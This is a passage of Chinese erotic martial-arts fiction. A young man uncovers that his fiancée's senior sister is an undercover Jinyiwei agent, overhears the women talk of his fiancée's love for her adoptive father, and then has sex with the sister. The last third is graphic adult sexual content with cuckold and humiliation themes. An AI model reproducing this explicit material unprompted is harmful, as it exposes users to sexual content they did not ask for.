二人像是被無數蟲蟻噬咬一般,手腳亂抓口中求饒道:「……姑娘饒命!……是小人們有眼無珠色迷心竅,得罪了姑娘……實在是沒人指使……」柳嫣冷笑道:「誰不知道你們湖州雙蛇出了名的狡猾?是不是想嘗嘗我們六扇門整治賊人的手段?」那二人哼哼了兩句,忽然沒了聲息,我伸手試了試他們的鼻息道:「不礙事,他們二人看來是暈過去了。」
方绫道:「這二人如此怕死,我看也未必像是有人指使,師姐打算如何處置他們?」
柳嫣笑道:「他們兩個今晚擾了師妹你和心上人花前月下的好事,就交給師妹你來發落吧?」方绫面上一紅,轉頭嗔了我一眼道:「什麽和心上人花前月下?咱們師姐妹好久不見了,等會和師姐你好好說說話去。」對我道:「你先找個地方将這兩個家夥看好了,要跑了唯你是問!」
我隻好苦笑一聲答道:「是,娘子放心吧!」方绫嬌嗔地哼了一聲,挽起柳嫣的手,二女迳自去了。
【第三章】
我待方绫和柳嫣走後,找了莊裏一處偏僻的柴房将湖州雙蛇二人搬了進去,待找來繩子要将他們捆上時,崔不兇忽然開口道:「公子不必麻煩了,咱們不會跑的!」
我道:「原來你們醒了?」見二人面色青紫掙紮着坐起身來,好一會崔不兇才搖頭道:「咱們中了那小娘們的毒針,全身痛癢難熬,沒有解藥怎麽走得了?咱們弟兄現在又饑又餓,公子可否好心拿些吃的來?」
我見二人這幅狼狽模樣,說道:「好吧!」轉身到隔壁廚房拿了些饅頭茶水,回來讓二人狼吞虎咽的吃了,看他們二人吃完,莫不惡道:「多謝!還是公子有俠義心腸,你這朋友咱們是交定了!」
我道:「你們兩個不必和我套近乎,在這好生呆着,等明日柳姑娘如何發落你們就是了。」他們二人互相使了個眼色,崔不兇滿面堆笑道:「陸公子,你既然夠朋友,不知能不能再答應幫咱們一個忙?」我道:「什麽事?」崔不兇道:「咱們想請公子幫把解藥找來,放咱們兄弟一條生路,若是公子肯幫這個忙,我們湖州雙蛇是感激不盡,日後定當重重報答!」
我道:「那怎麽行?柳姑娘是六扇門的官差,你們自然聽她處置,我怎麽能擅自做主放你們走?」
二人聽了,莫不惡皺着臉道:「唉,那姓柳的小娘哪裏是什麽六扇門的官差?都怪咱們一時色迷心竅惹了惹不起的主兒,我們兄弟這次隻怕真是要把命送在這裏了!」
我不解道:「你這話又是何必?聽你們說來難道柳姑娘不是六扇門的人?」
崔不兇低聲道:「原來公子也不知道吧?咱弟兄可是無意中瞧到了那小娘們的底細,你替我們把解藥拿來,咱們便告訴你實情,如何?」莫不惡也道:「不錯!咱們湖州雙蛇在道上從不說假話,你可千萬别讓那姓柳的小娘們知道了,不然我們兄弟非送命不可!」
我聽了遲疑片刻,也該不該相信他們的話,我起身道:「你們湖州雙蛇果然出了名的狡猾,滿口胡說一通,如何能讓我相信你們?你們在這好生呆着吧,明日我替你們說說情,不過你們今晚可别想着打鬼主意逃走,否則便是你們自己作死了。」
我說罷也不理他們,離開了二人徑直來到上房,看到客間廂房院子那邊亮着燭光,知道柳嫣便是住在那邊,想起方才湖州雙蛇說的話,心道:「柳姑娘是绫兒娘子的師姐,怎會有什麽不可告人之處?那兩人爲了逃走胡說八道一番,實在無聊得很。」我又想起方才将柳嫣抱在懷中那份溫香軟玉的感覺,心中忍不住又道:「柳姑娘雖然是官府中人,但是性情卻是直爽可愛得很,容貌和娘子相比,也是個十分妩媚動人的美人兒,不知她現在是不是一個人,我不妨過去瞧瞧。」我來到她的廂房門外輕聲道:「柳姑娘,你在麽?」
我輕喚兩聲,房中沒有聲響,待輕輕敲門時才發現原來門是虛掩着的,我進到房中順手回掩上門,隻見房中紅燭映照并不見人影,空氣中彌漫着花瓣的香氣與水霧,裏面隔間正傳來洗浴的水聲,我心道:「原來柳姑娘她正在洗澡呢。」我信步瞧着梳妝台上她的脂粉首飾,心中幻想着柳嫣在裏面出浴的旖旎景象,閑瞧了好一陣才正要退出房去之時,卻無意瞧見她床頭枕邊有一方錦緞包成的布包,露出了一個瓷瓶的一角,我心中一動道:「莫非這就是那湖州雙蛇說的解藥?」
我輕手輕腳走上前去打開布包,一看卻大失所望,原來裏面有好些個顔色各異的小瓷瓶,上面又無标簽文字,根本不知哪瓶才是解藥,包中最裏處卻還有一樣金光閃閃的物件,我仔細看時,原來這是一塊半個手掌大小的墨金腰牌,上面刻着一條張牙舞爪的青龍,翻過來另一面刻着「文字貳佰伍拾柒,北鎮撫司青龍門錦衣衛使柳」的一行小字。
我腦海中「嗡」的一聲,心道:「原來柳姑娘是朝廷青龍門的錦衣衛?那湖州雙蛇說的便是這個了吧?難怪他們二人如此害怕,這下該如何是好?」我腦中轉過許多念頭,不覺一時間竟呆在了原地。就在這時,内室浴間已傳來壁門被吱呀一聲推開的聲音,我驚覺之時已來不及退出房外,隻好連忙将布包包好放回枕邊,打開了旁邊的一扇壁櫃櫃門藏了進去。
我藏在櫃裏,屏聲靜氣地沿的縫隙悄悄往外瞧去,隻見柳嫣挑開裏間的簾子走了進來。她已換上了一件薄薄的衫裙,身上還散發着剛剛沐浴過後的溫熱水汽與清幽花香。秀發斜斜輕挽,露出雪白的脖子和香肩,内裏淡色的抹胸小兜用一條細帶穿過系在頸後,透過若隐若現的玲珑身材,竟能隐約瞧到那對豐滿高聳在胸前的雙峰。
我瞧着她那性感的身段心中止不住砰砰狂跳,可柳嫣卻似乎并未注意到房中有人來過的模樣。她來到妝台前背對着我坐下,銅鏡裏映出她那漂亮妩媚的面容,她瞧着鏡裏輕輕把發钗抽出,仰首将一頭如瀑的秀發披下,對着鏡中梳扮了起來。
我瞧她并未發覺的模樣,正松了一口氣,忽然「砰」地一聲櫃門大開,我隻覺脖子一涼,門外柳嫣粉面含霜,雪亮的短刃已指在我的咽喉邊上,待她看清是我時吃了一驚,雙頰飛紅道:「陸公子,你怎麽在這裏?」
我道:「柳姑娘,我……」一時尴尬不知說些什麽,一下竟說不出話來。
就在這時,忽聽見門外方绫的聲音道:「師姐,你好了麽?」我和柳嫣都是面色一變,她豎起一根手指在唇邊示意我不要出聲,我連連點頭。柳嫣将櫃門關好,來到門邊打開房門,一面将方绫迎進來一面笑道:「多虧了師妹,在外面辛苦了這些日子,這才悠閑舒服了些!」
方绫與她笑着進了屋,待身後的丫環将杯盞碟筷在案幾上布置好退了出去,二女在案邊落坐,方绫替柳嫣斟了一杯笑道:「知道師姐你辛苦了,這可是産自海外英吉利國的紅酒,再配上這深海雪貝,師姐嘗嘗味道如何?」
柳嫣淺淺抿了一口笑道:「果然是好酒,師妹拿這麽好的東西招待我,估計還是急着想替雷幫主問’那東西’吧?」方绫聽了微微忸怩,羞笑道:「師姐說哪裏話?難道咱們這麽久不見了就不能說說話兒麽?」
柳嫣笑着拿出了一個手掌大小的木盒放在桌上打開,裏面是幾粒蠶豆大小的褐色丸藥,散發出陣陣異香,柳嫣笑道:「知道師妹你急着問這東西,先拿出來給你啦!」方绫拿起一顆藥丸看道:「原來這就是江湖中傳說的逍遙極樂散麽?」柳嫣笑道:「不錯,這就是逍遙極樂散,曾是天山派的不傳靈藥,不但能治癒内傷,還能大大有助於習武之人的内力修爲,上月天山派被朝廷剿滅,這東西可是我費了好大功夫才替師妹拿到的呢!」
方绫合上木盒笑道:「有勞師姐了,我也替乾爹他多謝你啦!」柳嫣壓低聲音笑道:「這東西好是好,可惜卻白白便宜了雷幫主身邊那姓袁的小賤人,說起來真是爲師妹不值呢!」方绫道:「師姐此話怎講?」柳嫣笑道:「師妹你有所不知,這丹藥不但能增長功力,更能大大有益於服食之人性慾與房事方面的修爲,那’玉面靈狐’袁青瑤是雷幫主的姬妾,說起來豈不是師妹無福消受,卻白白便宜了那個賤人嗎?」
方绫紅霞上面,嗔道:「師姐胡說什麽?怎麽連乾爹的事都拿來取笑我了?」柳嫣笑道:「怎會是取笑?難道師妹的心思我還不明白麽?雷幫主他武功高強,俠義之名滿江南,又是如今江湖中一等一的大人物,換做誰不傾心?雖說他和師妹你父女相稱,可畢竟不是親生父女,像我們這樣的女子心中會悄悄喜歡上這樣一位英雄,又有什麽不對呢?」
我在櫃裏聽了心裏一震,心道:「原來娘子心中一直喜歡她的義父。」心中不由得泛起一股酸酸的醋意,可轉念一想,覺得柳嫣的話也不無道理,雷萬城是天鷹幫的幫主,他不但武功高強,富甲一方,手下勢力更是縱橫江南,而且他才四十出頭的年紀,身形健碩正當壯年,對方绫母女又有救命之恩,也難怪方绫會芳心暗許。我和雷幫主一比自然相形慚愧,可不知娘子是何時開始喜歡上她義父的?想到這裏,我心中吃醋之餘竟又升起一股異樣的感覺,不知從哪裏有種說不出的興奮,竟忘了應有的不快,隻想多窺探到些妻子對雷幫主的暗戀之情。
方绫低首不語,美貌的面上滿是羞紅,柳嫣看着她又嬌笑道:「原來師姐說錯話了麽?那不如這些丹藥讓我自己送給雷幫主可好?也好順便再好好陪他說些貼心解悶的話兒,師妹你說好麽?」說完伸手去拿木盒,方绫滿面羞紅,急忙将盒子拿過嗔道:「師姐你胡鬧什麽?小心讓陸公子在外面聽見了!」她好一會才幽幽地道:「說起來乾爹他還當我是個小姑娘,都瞧不到人家對他的好……哎,不知何時他才會對我娘一般,也把我放在心上?」
我瞧着自己未婚妻面上帶着懷春少女的憧憬幽怨,口中說出對别人的傾慕情思,心中醋意翻湧,又聽到方绫續道:「……乾爹什麽都好,隻是他身邊那姓袁的賤人說起來也實在讨厭,在幫裏三番五次地與我和我娘爲難,我瞧着乾爹的面上已經忍讓她好幾次了,其實她不過就是個妾室偏房而已,真不知道有什麽好神氣的?」
柳嫣道:「袁青瑤那賤人行走江湖之時外号’玉面靈狐’,在輕功和使毒上也算小有名氣,嫁給雷幫主之後雖然說是偏房,但好歹人家也有個妾室的名分。不似你娘一般,雖說當初便是雷幫主的師妹,可這麽多年了始終還是不明不白的。其實當年雷幫主的夫人去世之時都沒能給他留下一男半女,若是誰能給他生個兒子,何愁不能坐穩了正室之位?隻可惜你娘的身子……」方绫也默然片刻,說道:「有時我也真羨慕我娘,雖然我娘不能爲乾爹生育個一男半女的,可乾爹對她卻仍是十分锺愛,也常常讓她陪在身邊,若是乾爹也能這樣對我便好了,莫非在他看來,我還是不如我娘那般漂亮嗎?………」
柳嫣微笑道:「似師妹這般漂亮的美人兒,隻要勾勾手指頭,哪個男人不會被你迷得神魂颠倒,拜在你的石榴裙下?不過你和陸公子早已訂下婚約,陸公子這麽英俊,又是世家子弟,對你也是一往情深,我瞧師妹也不必太羨慕你娘了吧?」
方绫輕歎了口氣道:「陸公子他看上去人雖不錯,可還是……」我正豎耳朵聽着,她卻欲言又止,頓了頓轉言道:「算了,這些暫且不提罷,這次營救範老爺一家的事,師姐可探聽到什麽進一步的消息麽?」
柳嫣道:「我來時聽衙門裏的人說,這次範老爺一家的囚車是由衙差押送,大約在後日酉時日落之後到達陵州,然後再到台州府,由那兒的青龍門錦衣衛押解進京。」她停了停,對方绫又道:「師妹,其實範家與你不過隻是世交,你何苦爲了他們得罪青龍門的人?他們有朝廷作爲靠山,勢力遍布江湖,我聽說青龍門的首領魏天陽手段狠辣,枭雄過人,就連東西二廠也要讓他幾分,你們天鷹幫是無法和魏天陽抗衡的,何苦要以卵擊石,惹禍上身呢?」
方绫道:「我也早有聽聞青龍門是朝廷錦衣衛在江湖中建立的組織,這些朝廷鷹犬做事狠辣不擇手段,已經有許多江湖中的正道人士被他們羅織罪名,捕拿之後害得家破人亡。可如今青龍門的勢力也早已經侵入了江南武林,我們天鷹幫遲早是他們對付的下一個目标,再加上我們方陸範三家是世代的交情,如果我袖手旁觀地看着範老爺他們一家被青龍門所害,在江湖道義上如何能說得過去?」
柳嫣道:「好吧!師妹說得也是,不知你計劃如何救人,是否要我助你一臂之力?」方绫道:「多謝師姐心意了,不過師姐你始終是衙門中人,此事對你多有不便,我也調集了幫中的弟兄趕來,此事我會一切小心,師姐你放心便是。」
柳嫣舉杯笑道:「既然如此,我祝師妹你馬到功成,早日救出範家衆人脫險!」方绫笑道:「多謝師姐!」二女又飲了幾杯,外面這時傳來了打更的梆子響聲,方绫放下盞筷道:「時候不早,小妹不多擾師姐休息了,師姐如果有興緻不妨在陵州多留幾日,等我事情辦完,咱們再一起到附近好好遊玩一下這裏的山水景色如何?」柳嫣道:「多謝師妹盛情,不過既如此,我還是明日便趕回六扇門,也好替師妹你再多打探些青龍門的消息,至於今晚那兩個毛賊,就任由師妹你處置吧。」方绫道:「好,師姐你好生歇着,我明日再叫上陸公子一道給師姐送行。」
【第四章】
我看着柳嫣起身将方绫送出了門外,二女在門外又說了幾句親熱話兒,等柳嫣回到房中将門反扣上,我從櫃裏出來便按捺不住對她質問道:「柳姑娘,你究竟是不是青龍門的人?」
柳嫣卻神色平靜,轉身坐到梳妝台前,低頭緩緩弄着肩旁的秀發,許久才開口道:「是又怎樣?公子是不是要動手殺了我?」
我原以爲她會巧舌辯解,沒想如此反應卻令我頗覺意外,我瞧見一旁她的短劍,卻覺得無論如何也下不了手,良久才一跺腳,歎了口氣道:「柳姑娘,沒想到你竟是這樣,娘子她如此相信你,你……你怎對得住她?……」我話說出口,卻良久不見她言語,我上前看去,這才見到原來她正暗自垂淚,我頓時倒覺得有些手足無措,忙道:「柳姑娘,你……你這又何必?」
柳嫣卻不理我,好一會才拭去淚珠冷聲道:「不錯,我是瞞着方姑娘,我奉刑部六扇門之命卧底調查青龍門的罪證,他們的首領魏天陽十分精明狡詐,我不能讓任何人知曉以免走露風聲,你若是要告訴方姑娘,還不如現在就将我殺了。」
我聽到她如此說,愣了一愣覺得十分對她不住,我道:「柳姑娘,方才我錯怪你了,我不會告訴娘子的,你放心便是!」我見她仍在垂淚,上前又輕聲道:「你還在生我氣麽?」柳嫣突然轉過身來撲到我懷中,我頓時一陣溫香撲鼻,心中狂跳道:「柳姑娘,你……」柳嫣螓首埋在我懷中道:「陸公子,……我難過得很,覺得心口好疼……你别動,讓我抱抱好麽?……」
我懷中溫香軟玉,心裏早已軟了下來,溫言安慰道:「柳姑娘,方才都是我不好,話說得重了些,你不會介意吧?……」她在我懷中并不做聲,我過一會又道:「如今好些了麽?」柳嫣在我懷中低聲道:「……不好,還是疼得緊,有勞公子把我扶到到床上去歇歇,行麽?」
她口中說扶但仍是将我抱住,我道:「……是!」抱着她慢慢挪到了榻邊,她晃了晃似要摔倒,我連忙扶住時竟抱着她一齊滾到了暖床之上。她瞧着我,面頰绯紅一雙嬌媚的眼睛撲閃撲閃地,呼吸間帶來陣陣芳香,與我鼻翼厮磨片刻,我竟不由自主地吻上了她的雙唇。她「嗯」地一聲也并未拒絕,雙唇反過來吸吮着我的舌頭,我再也按捺不住慾火,翻過身來壓着她扯開了她的衣衫,隔着内裏淡色的透明抹胸一把握住她豐滿的乳房,一面吻着她的小嘴一面放肆地揉搓着。
柳嫣似乎也被我吻得有些動情,她輕輕喘息着自己伸手到背後解開了細帶将抹胸扯到了一邊,露出了她胸前那對雪白豐滿的乳房,她奶子堅實挺翹,頂端有些粗漲的黑褐色乳頭正高高地翹起着,顯得十分性感。我摟住她的細腰,急色地埋頭含住她的乳頭用力舔吮了起來。也許是我嘴上太過使力,柳嫣輕蹙秀眉嗯了一聲,輕輕推開了我的頭道:「公子别急,先替你寬衣好麽?」她說着纖手替我解掉了衣衫和襯褲,片刻之後我身上也一絲不挂,露出胯下早已被刺激得高高地挺翹起來的陰莖,柳嫣抓住我的莖杆輕輕套弄着笑道:「沒想到公子模樣清秀,一身細皮白肉的,連這東西也長得這麽雅緻,不知道等會兒威風如何呢?」
我面上一紅,我陰莖一向不算粗大,可如今在她面前無論如何也不能丢了面子,我俯下身來在柳嫣嘴上一吻笑道:「放心,一會兒讓你好好享受便是!」柳嫣輕聲地浪笑道:「多謝公子,那你可别說話不算哦!」她紅着臉讓我分開雙腿,她的私處頓時呈現在我眼前,隻見她胯間卷曲的陰毛十分濃密雜亂,掩着兩瓣深黑色的肉唇微張着,裏面隐約可見深紅的陰道嫩肉,濕滑的肉唇正向外分泌着清亮的淫液,顯得十分淫靡。我握着自己的陰莖對着她的穴口,腰間緩緩地往裏一送,頓時毫不費力地盡根而入,她隻是閉着眼輕輕地「哼」了一聲。我将肉棒完全頂入了柳嫣的穴裏,感到她的陰道火熱濕滑,但卻不是很緊,我摟住她的身子,一邊親吻着她的耳垂和脖頸,一邊緩緩地抽送肏了起來。
我吻着她脖子的發梢,鼻中嗅到的是她剛剛出浴後的芝蘭香氣,柳嫣雙眼微閉,時不時地發出一些恩恩啊啊的淺淺呻吟。我的陽具一聳一聳地不斷在她穴間抽送,感覺越插越濕滑,她私處兩瓣烏黑的肉唇被我插得不住外翻,白色的淫液不一會已經沾滿了我們交合處的陰毛,讓我的雞巴根本感覺不到任何抽插的阻力,我一邊肏着手上一邊揉捏着她的乳房,手指不停地搓弄着她乳房頂端那粒挺翹的黑褐色乳頭。
「……嗯……啊啊……嗯……用力一點……」柳嫣微閉着雙眼面色潮紅,櫻口微張,随着我的抽送不住發出嗯嗯啊啊的喘息聲音,她一隻手也似下意識般地握住的自己的一邊乳房不停揉搓着自己的乳頭,「……嗯……啊啊……嫣兒身材怎樣?……啊……公子……喜不喜歡?……」
「漂亮!……我喜歡……喜歡得不得了!……」我一邊用力抽插着一邊氣喘籲籲地答道,柳嫣的相貌與身材的确十分漂亮,肌膚雪白,雙乳挺翹,完全是任何一個男人看了都會流鼻血的尤物。我瞧着眼前這位美女一邊自摸着乳房,一邊張開修長的雙腿讓我肏着濃密烏黑的胯間,從她小穴裏抽帶出的淫液白漿已經糊滿了我們交合處的陰毛,她的陰道變得越來越濕滑,我的雞巴抽送時的感覺就像被一個濕嗒嗒的小嘴不住地吸吮一般,這樣淫靡刺激的景像是我從前偶爾去與那些青樓妓女偷歡時完全不可同日而語的,讓我幾次都有忍不住想射精的感覺,若不是擔心第一次便被她笑話,恐怕我早就盡興地一洩千裏了。
「……嗯……呵呵……是麽?……喜歡……公子喜歡便再用力一些……這樣不夠……啊……啊啊……嗯……狠狠地肏嫣兒……狠狠地肏我!………」
她的話傳到我的耳中,我從沒想到像柳嫣這樣一位武功高強的捕快美女,從她口中竟然會說出「肏我」字這麽刺激的髒話來,差點讓我精關一松,精液噴湧而出!還好自己一直提防着,連忙一個冷戰生生停住了抽送,我身下的柳嫣正面頰潮紅地呻吟着,她睜開了雙眼帶着不解地看着我。「公子……怎麽停了?」
「……沒什麽,我歇息一會……!」我俯下身來,在她黑褐色的乳頭上一吻,刺激得她又「嘤」地發出了一聲淫叫,她笑着道:「……嗯,我明白了……是不是你怕我叫得太大聲了,讓别人聽見,讓方绫她知道了?……」我聽她提起方绫,這才想起自己竟然在妻子的眼皮之下和她師姐發生了奸情之事,頓時心中泛起一陣驚懼,方才淫靡的感覺一掃而空,連胯下還插在柳嫣小穴裏的陰莖也不知不覺地軟了下來。她發覺到了我雞巴的細微變化,摟着我的頸脖瞧着我道:「怎麽了?你現在想着方绫了麽?你怕什麽?你還做不做?」我連掩飾着道:「沒……沒!……做,做!」我連忙聳動着臀部想再重新抽插,可我的陰莖已經不聽話地軟了下來,柳嫣的陰道隻收縮了幾下,我已經縮小的陰莖竟被她輕而易舉地擠出了穴口之外。
柳嫣推開我坐起身來,我尴尬不已地看着她拿過抹胸掩住雙乳,她掠了掠鬓邊的頭發,瞧着我軟軟小小的雞巴帶着些不屑地笑道:「公子你原來這麽害怕麽?那你平時在床上是如何滿足師妹她的呀?」
我尴尬不已地道:「這……這……實不相瞞,方姑娘還未過門,她和我一直是以禮相待,我平時想冒犯她也是不敢的。」
柳嫣帶了些不屑,笑了笑道:「原來如此,難怪方绫她那麽喜歡她乾爹了,你的雞巴現在都這樣沒用,日後又怎麽和人家雷幫主比,又如何讓我師妹心甘情願地嫁給你呀?」
我聽了心中一動,忽然又想起方才聽到她與方绫的對話,連忙急急地問道:「柳姑娘……我娘子她……她真的喜歡她乾爹雷幫主麽?」
柳嫣笑道:「那自然是真的了,我那師妹對雷幫主可是朝思暮想,念念不忘,不過也難怪,人家雷幫主可是江湖上的大英雄,論财論勢論武功可都比你強多了,公子你若是不努力些,說不定将來……我師妹可就變成人家幫主夫人了哦?呵呵!」
我聽到她的這句話,心中頓時狠狠地跳了一下,我從來沒去想過,難道自己的未婚妻将來真的會因爲嫌棄我而将我抛棄,轉而去成爲她乾爹雷幫主的妾侍麽?我心中不受控制地浮現出了這樣的場面,廳堂裏張燈結彩,穿着新娘紅衫的方绫滿面羞喜地在賓客面前讓雷萬城抱進了洞房,而我隻能在一角又嫉又妒地瞧着,想着自己的妻子會如何在她的心上人胯下婉轉嬌吟……我這樣想着,與此同時卻覺得心中有些異樣的興奮,胯下本已經軟塌塌的雞巴竟不知何時又敏感地勃挺了起來。
「怎麽了?說起這個,你倒又硬起來了?」我胯下的變化逃不過柳嫣的眼睛,她嬌媚地一笑,湊過身來纖手握住了我勃起的雞巴一邊輕輕上下套動着,一邊在我耳邊輕聲笑道:「我知道了,你聽到你那寶貝娘子心中喜歡她的幫主幹爹,你心中倒是刺激比吃醋多些吧?你給我老實說,是也不是?。」
「我……我怎麽會?……」柳嫣細軟柔嫩的纖手不住摩擦套弄着我的龜頭與莖杆,陣陣酥麻的感覺讓我刺激得不住吸氣,可我心中的想法被柳嫣看穿了更是尴尬不已,可我嘴上還在拚命掩飾道:「……我娘子她性子也是溫柔賢淑得很,對她乾爹雷幫主自然是又敬又愛,怎會是那樣的想法?……柳姑娘你……不要如此說她……」
「哼哼,你還在幫方绫那小浪蹄子說話?」柳嫣加快了手上套弄的速度,頓時一陣陣要射精的快感直沖我的腦門,我忍不住地大腿都顫抖了起來,柳嫣不屑地對我笑道:「你還以爲她是什麽聖女麽?實話告訴你罷,其實她骨子裏和她娘一樣風騷,說不定她早已和她娘一樣,在床上已經侍候過她乾爹了,隻是你被帶了綠帽還不知道而已,呵呵!」
她又在我耳邊輕聲地道:「其實公子你,也是個想讓自己娘子給你戴綠帽的王八吧?今晚你娘子從我這兒拿去給她幹爹的,其實便是男人的春藥,……你說她回去讓雷幫主服了,她會不會也像現在這般把衣衫都脫了,然後侍候她乾爹插她的小穴呢?……那雷幫主的雞巴,玩你娘子的時候,想必比公子你厲害得多吧?………」
「柳姑娘,别說了……我……我要射了!……啊……啊啊!…………」柳嫣不斷地淫聲浪語伴着她手上的不住套動,每一句話都刺激在我心中最敏感的地方上,我的雞巴突然一震,從龜頭馬眼縫裏噴出了一道精液,接着又是兩三股,全都濺到了我自己的身上。我呼呼地喘着氣,柳嫣放開了我那立刻變軟了的雞巴,不屑地笑了笑道:「你這東西真沒用,本姑娘的手都被你弄髒了!」